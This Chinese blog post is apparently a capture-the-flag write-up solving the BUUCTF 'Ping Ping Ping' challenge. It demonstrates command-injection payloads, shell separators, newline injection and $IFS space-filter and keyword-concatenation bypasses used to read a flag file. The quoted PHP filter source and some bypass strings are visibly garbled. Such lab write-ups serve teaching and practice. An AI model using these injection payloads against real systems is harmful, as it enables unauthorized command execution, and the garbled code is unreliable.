buuctf[GXYCTF2019]Ping Ping Ping

本文详细介绍了在buuctf[GXYCTF2019]Ping Ping Ping挑战中如何利用命令执行漏洞进行漏洞利用的过程,包括尝试的多种命令分隔符绕过方法和过滤字符的应对策略,最终成功获取flag。

buuctf[GXYCTF2019]Ping Ping Ping
在这里插入图片描述
这个题目的标题是pingping盲猜是关于命令执行的题目

打开环境后在这里插入图片描述

只有一个/ip=?
应该是提示用get的方式来传参一个地址执行ping的操作
直接ping127.0.0.1
在这里插入图片描述回显ping127.0.0.1的数据
说明是一道命令执行的题目
执行:?ip=127.0.0.1|ls
其中|的作用是命令分隔符
还有相关的符号
; --在 shell 中,是”连续指令”
& --不管第一条命令成功与否,都会执行第二条命令
&& --第一条命令成功,第二条才会执行
| --第一条命令的结果,作为第二条命令的输入
|| --第一条命令失败,第二条才会执行
这里采用|来执行
如果全部过滤
过滤了命令分割符,用%0a便可以分隔命令进行查看
127.0.0.1%0als

在这里插入图片描述
回显两个文件
直接访问flag.php
在这里插入图片描述回显有过滤空格

既然过滤空格就绕过空格
常见的绕过符号有:
$IFS9、9 、9IFS1、1、1{IFS} 、%09(php环境下)、 重定向符<>、<、
{cat,flag.php} //用逗号实现了空格功能

采用{cat,flag.php} //用逗号实现了空格功能
构造payload:?ip=127.0.0.1|cat,flag.php
在这里插入图片描述
回显过滤了flag这个字符串
尝试拼接绕过;
a=fl;b=ag;aaab
构造:cat,a=fl;b=ag;aaab
回显相同
说明这种绕过方式没有用
那就先看一下index.php
构造:/?ip=127.0.0.1|cat,index.php
回显:
在这里插入图片描述
应该是,不能代替空格绕过
换一个?ip=127.0.0.1|cat%09index.php
回显:
在这里插入图片描述再换
?ip=127.0.0.1|cat$IFS$2index.php
在这里插入图片描述
回显
/?ip=
|’|"|\|(|)|[|]|{|}/", ip,ip,ip,匹配)){
回preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|’|"|\|(|)|[|]|{|}/", ip,ip,ip,匹配);
die(“fxck你的符号!”);
}else if(preg_match("//",ip))die("fxck你的空间!");elseif(pregmatch("/bash/",ip)){ die("fxck你的空间!"); }else if(preg_match("/bash/",ip))die("fxck");elseif(pregmatch("/bash/",ip)){
die(“fxck您的庆典!”);
}else if(preg_match("/.*f.*l.*a.g./", $ip)){
die(“fxck你的标志!”);
}
a=shellexec("ping−c4".a=shell_exec("ping-c4".a=shellexec("pingc4".ip);
echo"

";
print_r($a);
}

?>

发现过滤了很多包括空格、一些符号/.*f.*l.*a.g./、flag

构造拼接绕过?ip=127.0.0.1;a=g;cat$IFS1fla1fla1flaa.php

在这里插入图片描述
在源代码中找到flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值